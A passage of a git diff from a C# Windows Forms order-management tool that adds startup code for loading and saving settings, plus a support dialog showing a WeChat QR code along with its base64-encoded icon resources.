zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/StartUp.cs b/29WxOrder/StartUp.cs new file mode 100644 index 0000000..bc7bf01 --- /dev/null +++ b/29WxOrder/StartUp.cs @@ -0,0 +1,62 @@ +using AllBase; +using AllBase.DouYinModel.Param.ConfigManage; +using AllBase.Helper; +using _29WxOrder.OrderForms; +using NaiBa.Util; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace _29WxOrder +{ + public class StartUp + { + public static void Init() + { + //GlobalConfig.IsShowSpecialBuyer = System.IO.File.Exists("locales\\pf.pak") || System.IO.File.Exists("pf.txt"); + + // 读取系统设置信息 + GlobalConfig.SystemSettings = ConfigHelper.LoadConfig("system_settings"); + if (GlobalConfig.SystemSettings == null) + GlobalConfig.SystemSettings = new SystemSettings(); + // 拼多多批发、多买手等特殊功能不可见时,功能关闭 + if (!BaseClass.IsCloudBuyOrder) + { + GlobalConfig.SystemSettings.IsUsePddPifa = false; + GlobalConfig.SystemSettings.IsUseMultiBuyer = false; + } + + GlobalConfig.dicLocalStorage = ConfigHelper.LoadConfig("dou_local_Storage"); + + GlobalConfig.dicDgvHeadersSetting = ConfigHelper.LoadConfig>>("dgv_headers_settings"); + if (GlobalConfig.dicDgvHeadersSetting == null) + GlobalConfig.dicDgvHeadersSetting = new Dictionary>(); + + if (BaseClass.IsCloudBuyOrder) + GlobalConfig.LstPddPifaShop = ConfigHelper.LoadConfig>("pdd_shops"); + if (GlobalConfig.LstPddPifaShop == null) + GlobalConfig.LstPddPifaShop = new List(); + + + TransitAddressForm.TransitAddress = ConfigHelper.LoadConfig("transit_address"); + } + + public static void SaveSystemSettings() + { + ConfigHelper.SaveConfig("system_settings", GlobalConfig.SystemSettings); + } + + public static void SaveDgvHeadersSettings() + { + ConfigHelper.SaveConfig("dgv_headers_settings", GlobalConfig.dicDgvHeadersSetting); + } + + public static void SavePddShops() + { + ConfigHelper.SaveConfig("pdd_shops", GlobalConfig.LstPddPifaShop); + } + } +} diff --git a/29WxOrder/SupportQrCodeForm.Designer.cs b/29WxOrder/SupportQrCodeForm.Designer.cs new file mode 100644 index 0000000..95e2919 --- /dev/null +++ b/29WxOrder/SupportQrCodeForm.Designer.cs @@ -0,0 +1,115 @@ +namespace _29WxOrder +{ + partial class SupportQrCodeForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SupportQrCodeForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panel3 = new System.Windows.Forms.Panel(); + this.label1 = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.panel3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(147, 0); + // + // panel1 + // + this.panel1.Controls.Add(this.panel3); + this.panel1.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(2, 0, 2, 2); + this.panel1.Size = new System.Drawing.Size(179, 205); + this.panel1.TabIndex = 3; + // + // panel3 + // + this.panel3.BackColor = System.Drawing.Color.White; + this.panel3.Controls.Add(this.label1); + this.panel3.Controls.Add(this.pictureBox1); + this.panel3.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel3.Location = new System.Drawing.Point(2, 0); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(175, 203); + this.panel3.TabIndex = 0; + // + // label1 + // + this.label1.Anchor = System.Windows.Forms.AnchorStyles.Bottom; + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(17, 180); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(137, 12); + this.label1.TabIndex = 8; + this.label1.Text = "微信扫描二维码联系客服"; + // + // pictureBox1 + // + this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.Bottom; + this.pictureBox1.ErrorImage = null; + this.pictureBox1.Image = global::_29WxOrder.Properties.Resources.qrcode; + this.pictureBox1.Location = new System.Drawing.Point(9, 39); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(156, 135); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 7; + this.pictureBox1.TabStop = false; + // + // SupportQrCodeForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.ClientSize = new System.Drawing.Size(179, 205); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "SupportQrCodeForm"; + this.Text = "联系客服"; + this.TitleText = "联系客服"; + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel3.ResumeLayout(false); + this.panel3.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.PictureBox pictureBox1; + } +} \ No newline at end of file diff --git a/29WxOrder/SupportQrCodeForm.cs b/29WxOrder/SupportQrCodeForm.cs new file mode 100644 index 0000000..66a748c --- /dev/null +++ b/29WxOrder/SupportQrCodeForm.cs @@ -0,0 +1,21 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder +{ + public partial class SupportQrCodeForm : BaseForm + { + public SupportQrCodeForm() + { + InitializeComponent(); + } + } +} diff --git a/29WxOrder/SupportQrCodeForm.resx b/29WxOrder/SupportQrCodeForm.resx new file mode 100644 index 0000000..9e6b648 --- /dev/null +++ b/29WxOrder/SupportQrCodeForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQUQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + 